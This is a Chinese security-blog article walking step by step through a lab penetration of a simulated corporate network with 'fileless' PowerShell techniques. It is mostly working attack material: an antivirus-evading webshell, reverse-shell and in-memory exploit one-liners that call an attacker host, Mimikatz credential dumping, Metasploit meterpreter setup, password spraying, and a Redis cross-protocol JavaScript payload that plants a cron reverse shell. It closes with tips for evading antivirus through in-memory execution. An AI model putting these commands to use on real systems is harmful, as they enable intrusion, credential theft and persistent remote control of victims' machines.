當前位置:
首頁 > 新聞 > 「無文件」攻擊方式滲透實驗

「無文件」攻擊方式滲透實驗

*本文原創作者:亞信安全(企業賬號),本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

前幾天看了一個文章《全球上百家銀行和金融機構感染了一種「無文件」惡意程序,幾乎無法檢測》,覺得

powershell

很是神奇,自己希望親手實驗一下,以最大程度還原

無文件

攻擊方式。

拓撲設計


拓撲介紹


其中192.168.1.0/24模擬的是公網的環境

172.21.132.0/24模擬的是企業內網的環境

邊界web伺服器雙網卡(公網的:192.168.1.110,和內網的172.21.132.110),而且為了最基本的安全保障,web邊界伺服器設置了防火牆,此防火牆對外網只開放80,81,443埠,對內網開放所有埠,上面還裝有360殺毒軟體。

內網還布置若干台web伺服器,一台旁路告警設備(ips),他們都可以連接到外網,但是外網訪問不到內部的任何web伺服器

其中web伺服器(linux)(172.21.132.113)前面放置防火牆,不可以被內網的其他web伺服器訪問到,但是它可以訪問到內網的其他伺服器,並且能夠連接到外網。這套環境裡面的192.168.1.108是黑客的kali攻擊機,192.168.1.212是黑客的windows攻擊機

科普下nishang和PowerSploit

1、Nishang是基於PowerShell的滲透測試專用工具。集成了框架、腳本和各種payload。這些腳本是由Nishang的作者在真實滲透測試過程中有感而發編寫的,具有實戰價值。包括了下載和執行、鍵盤記錄、dns、延時命令等腳本

2、PowerSploit是又一款Post Exploitation 相關工具,Post Exploitation是老外滲透測試標準裡面的東西,就是獲取shell之後乾的一些事情。

PowerSploit 其實就是一些powershell腳本,包括Inject-Dll(注入dll

到指定進程

)、Inject-Shellcode(注入shellcode到執行進程)、 Encrypt- Script(文本或腳本加密)、Get-GPPPassword(通過groups.xml

獲取明文密碼)、

Invoke- ReverseDnsLookup(掃描DNS PTR記錄)


滲透開始

首先邊界

web

伺服器上

fastcgi

配置錯誤,導致伺服器被

getshell

因為網上的菜刀好多都有後門,所以我用開源的

CKnife

(介紹地址:跨平台版中國菜刀Cknife發布項目地址:Cknife的github

)

因為伺服器上有殺毒軟體,

所以要把一句話木馬做一下轉換。

繞過思路參考:打狗棒法之進階篇:Cknife修改配置法秒過安全狗

我用的伺服器端木馬內容


替換

Config.ini

PHP_MAKE


base64_decode($_POST["action"]);

連接方式

拿到webshell之後,首先用systeminfo來查看系統信息

首先可以看到這個是一台

win2008 r2 64

位系統,而且沒有打任何系統補丁

所以我可以從上面反彈一個

powershell

出來進行進一步的滲透

首先把

nishang git clone

到自己的

web

目錄下面,然後在

shell

目錄下找到

Invoke-PowerShellTcp.ps1

,我為了方便把

Invoke-PowerShellTcp.ps1

複製到了

web

的根目錄,我先在自己的機子上用

nc

監聽

8888

埠,然後執行

powershell IEX(New-ObjectNet.WebClient).DownloadString(『http://192.168.108/Invoke-PowerShellTcp.ps1『);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

nc

上得到一個反彈出來的

powershell

查看許可權發現許可權比較低只是:

iis apppool

所以我需要提高一下許可權

一般的做法是要上傳一個內核溢出的

exp

,一般都是上傳一個

exe

,但是我在這裡選擇直接從遠處載入一個

exe

到受害主機內存中,並且讓他執行起來,詳細的我會在《有趣的滲透(番外篇)》中詳細的說明。

我先把https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1下載到我的

web

目錄下面,再把用到的提權

exp

ms1564.exe

)放到

web

根目錄下面

然後在反彈的

shell

裡面運行


IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.108/Invoke-ReflectivePEInjection.ps1");Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR


這樣再執行whoami看許可權的話就可以看到是 nt authority。

Ps

:這裡面有個坑,這個

ms15051

exp

是隨便從一個網上下載下來的,沒有經過改造,所以當執行的指令參數有空格的時候,他就沒有任何反應,也沒有任何回顯。

後來經過我不斷的嘗試,執行

cmd

的時候就可以把

shell

的許可權提了,很不錯,但是如果你執行

powershell

這個指令的話,那麼這個反彈的

shell

就會假死)

這個時候在本機搜集一下信息:

首先用

mimikatz

來脫出登陸過得密碼:


IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-Mimikatz.ps1");Invoke-Mimikatz


查看arp的列表

看到好多機子集中在

172.21.132.100-120

這個網段我調用

poershell

掃一下

埠掃描的腳本從這裡下載:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

掃描:


IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-PortScan.ps1");Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort


這個時候我用利用

powershell

反彈一個

meterpreter

利用

powersploit

框架,由於一些奇怪的原因,作者把框架中支持

msf

的部分去掉了,但是經過的我的查找,在作者提交的歷史記錄裡面找到了最後一版支持

msf

的部分:

地址是:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

如果

git clone

新版本的

PowerSploit

你要用老版本的

CodeExecution/Invoke–Shellcode.ps1

替換掉新版本的文件

使用方法還是先把腳本下載到黑客自己的

web

目錄下,我為了方便,我寫了一個調用腳本放在

web

目錄下

(1.ps1)


IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1")
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force


先把

msf

打開,然後設置

payload

windows/meterpreter/reverse_https,

並且監聽在

4444

埠:


msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0msf exploit(handler) > run


然後在

powershell

反彈的

shell

中調用

IEX (New-ObjectNet.WebClient).DownloadString(『http://192.168.1.108/1.ps1『)

成功拿到

meterpreter,

但是注意:這個

meterpreter

執行

shell

是不能得到互動式的

cmd ,

因為剛才用

exp

把反彈的

powershell

變成了

system

的許可權,所以再反彈出來的

meterpreter

也是

system

許可權

這個時候可以

meterpreter

查看路由:

runget_local_subnets

meterpreter

尋找

putty

保存的信息

run enum_putty

meterpreter

尋找

ie

保存的密碼

run post/windows/gather/enum_ie

本地信息搜集差不多了,可以

meterpreter

放入後台:

background

然後添加路由(這樣才能進行內網的掃描):

route add 172.21.132.0 255.255.255.0 1 route add

的第一個參數是地址,第二個參數地址是掩碼,第三個參數是

sessis

id

進行內網的主機掃描:利用smb進行主機識別: use auxiliary/scanner/smb/smb_version

利用剛才找到的管理員密碼在內網裡面碰撞一下,看看多少主機用的是同樣的密碼用的是:use auxiliary/scanner/smb/smb_login

可以看到內網裡面的大部分機子都是用的一個密碼

下面我要用

socks

代理進入到內網裡面獲取一些信息

有三種選擇:

首先

msf

提供了一種

socks4a

的代理,瀏覽器可以用這個代理進入到內網,但是

burp

不能用

socks4a

的代理

第二:可以用

reGeorgSocksProxy.py

socks5

進入到內網裡面

第三:可以用特殊處理過得

xsocks.exe,

通過

powershell

遠程載入到內存裡面運行之後得到

socks5

的代理

因為這是

60

位元組

webshell

的雜技,所以我用第三種方法進入到內網:

首先在黑客的

web

裡面放入特殊處理的

xsocks.exe

,然後用

poweshell

載入


IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.1.108/Invoke-ReflectivePEInjection.ps1");Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR


然後burp這樣設置:

火狐中這樣設置

就可以實現這樣的效果了

看一下效果:

把流量攔截下來repeater也可以

* 普及一下redis未授權的知識 詳細的文章可以看redis未授權訪問總結而redis的csrf漏洞的產生原因是:就是當向redis發送無效指令時,redis自身協議不會終止tcp鏈接。同時redis只會執行body里的有效指令,而不會關心http header里的內容。

* 科普一下csrf的攻擊:CSRF:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF,簡單來說攻擊者盜用了你的身份,以你的名義發送惡意請求。

CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬……造成的問題包括:個人隱私泄露以及財產安全。

常見的經典csrf的案例是通過csrf修改你家路由器的dns配置,從而達到非法獲利的目的,可以參考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC測試過程)

經過內網探測,發現

172.21.132.113

開放

6379

埠,但是通過代理無法連接到

後來發現在

172.21.132.117:83/xss/add.php

發現一個留言板

所以根據這個文章:Client-SideRedis Attack Proof of Concept,我做了一個可以利用

redis

未授權訪問得到反彈

shell

js:


var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("flushall
");

var cmd =new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("eval "" + "redis.call("set","1","\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\n\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");" + "" 0" +"
");

var cmd =new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send("save
");

把他放在自己的

web

目錄下,然後在留言板寫入:



在本機監聽用nc監聽5566埠,只要有裝redis 的那台機子的管理員查看留言板的話就會彈出一個shell給我的主機

可以看到這個已經反彈的處理的

shell

root

許可權

至此,整個內網已經被完全滲透


最後的tips

我在上面介紹用:

poweshell

載入外部的

exe

進入內存執行,從而不在受害主機裡面留下任何痕迹,而且也可以繞過國內主流殺軟的查殺

這個想法的實現根據這個文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell,還有Powershelltricks::Code Execution & Process Injection

要是實現這個前提條件是:


1.你要有源碼

2.源碼必須是c++編寫,c#編寫的一律崩潰

3.編譯的時候建議用vs2010+winxp編譯

4.在win上不能用gcc去編譯

5.編譯採用/MT 或者/MTd

6.

如果要傳遞參數的話把

int main(int argc char **argv)

改成


int main(){
LPWSTR*szArglist;
int nArgs;
int i;
szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
if( NULL ==szArglist )
{
wprintf(L"CommandLineToArgvW failed
");
return0;
}

}
……………………

7.

代碼中不能有寫文件的操作

下面是集中滲透軟體編譯過程


我以提權工具ms15-051的代碼做實驗(

代碼的源碼

),添加傳遞參數的代碼後 裡面有幾個字元轉換的問題,可以自己解決一下,本人 生成好了以後看看效果首先把生成好的ms15-051.exe上傳到自己的web伺服器。

先下載到

本地看看什麼效果

然後用編譯好的ms15-051.exe用powershell載入一下


*本文原創作者:亞信安全(企業賬號),本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 實驗 的精彩文章:

實驗室里的不定時炸彈
超冷原子實驗驗證量子相變的時空對稱性
沖馬桶,到底蓋,還是不蓋?實驗結果驚呆所有人...
人性實驗:10萬買你的女友過夜!
除了投200億開發智能汽車,長安汽車還與科大訊飛成立聯合實驗室,發力人工智慧

TAG:實驗 |

您可能感興趣

污染場地修復技術之滲透性反應牆技術
無線滲透工具合集
滲透測試教程:如何偵查目標以及收集信息?
圍觀凈水神器——反滲透膜
《永恆邊境》精銳的滲透者屬性測評
人工智慧滲透無孔不入,無人機將能實現對人的全方位追蹤拍照
恐怖分子是怎樣滲透文明社會的
滲透測試指南之域用戶組的範圍
虛擬滲透的真情與套路
恐怖漫畫《噩夢碎片》之鬼妝8 細思極恐,滲透人性的善與惡!
滲透技巧——程序的降權啟動
《我在故宮修文物》:對文物的保護敬畏滲透在血液里
如何在特定的滲透測試中使用正確的Burp擴展插件
以撲克遊戲網站為例,實戰Flash應用程序滲透測試
讀者來稿:喵星人利用互聯網對人類種群實行滲透性精神控制的證據
鋰滲透如何破解?提升鋰電池固態電解質光滑度成關鍵
見人就開槍射殺!巴鐵邊境挖地道滲透打擊印度,印軍竟如此報復
Web黑客基礎:搭建滲透測試環境,盡情的合法入侵吧!
太極拳與跤術 相互滲透融合